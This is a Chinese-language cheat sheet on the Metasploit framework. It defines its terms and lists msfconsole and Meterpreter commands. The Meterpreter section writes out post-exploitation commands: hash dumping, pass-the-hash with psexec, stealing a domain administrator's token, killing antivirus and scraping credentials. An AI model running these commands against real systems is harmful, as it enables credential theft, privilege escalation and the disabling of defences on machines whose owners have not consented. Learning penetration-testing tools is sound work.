# Metasploit

### 相关概念

* 渗透攻击（Exploit）：指攻击者利用安全漏洞进行攻击的行为
* 攻击载荷（Payload）：指期望目标系统在被渗透攻击之后去执行的代码
* Shellcode：指渗透攻击时作为攻击载荷运行的一组机器指令，通常以汇编编写，通常目标系统执行了 shellcode 之后，才会提供一个 shell 或者 Meterpreter shell
* 模块（module）： 指 Metasploit 中的一段软件代码组件
* 监听器（Listener）：指 Metasploit 中用来等待连入网络连接的组件

### Msfvenom

* Payload 生成器
* 显示帮助：`msfvenom -h`

### Metasplioit

```bash
# 进入 MSF 命令行
msfconsole

# 显示 MSF 中所有可用的攻击模块
msf> show exploits

# 显示 MSF 中所有可用的辅助模块
msf> show auxiliary

# 显示当前模块正确运行所需要设置的参数
msf> show options

# 显示所有可用的攻击载荷
msf> show payloads

# 显示攻击目标的类型
msf> show targets

# 显示当前模块的使用详情
msf> info

# set 设置参数，unset 禁用设置或取消设置
msf> set/unset

# setg/unsetg 命令能够对全局参数进行设置或者清除
msf> setg/unsetg

# 使用 setg 命令对全局参数设置后，可以使用 save 将当前的设置值保存下去，下次启动的时候还可以使用这些值
msf> save
```

### Meterpreter

* Meterpreter 是 MSF 中的一个扩展模块，如果选择了 Meterpreter 作为攻击载荷，就能够取得目标系统上的一个 Meterpreter shell 连接，号称黑客瑞士军刀
* 功能包括：纯内存工作模式、获取密码哈希、提权、跳板攻击等

#### 常用命令

```bash
# 获得一个 meterpreter shell，查看当前用户
getuid

# 截屏
screenshot

# 获取系统运行平台的信息
sysinfo

# 查看进程
ps

# 进程迁移，将当前 shell 的进程迁移到指定 PID 的进程
migrate 1712

# 查看当前的进程 id
getpid

# 获取特权
use priv

# 提取 hash
run post/windows/gather/hashdump

# 哈希传递
use exploit/windows/smb/psexec

# 假冒令牌
# 进入一个高权限的 shell，然后靶机上登录过多个账号，包括域管理员，窃取 PID 对应账户的令牌
steal_token <域管理员的PID>
# 或加载：use incognito 来模拟令牌
list_tokens -u
impersonte_token ROOT\\administrator
getuid

# 关闭杀软
run killav
# 或
run post/windows/manage/killav

# 获取目标系统任何信息：用户名、密码、注册表、密码哈希等
run scraper
```
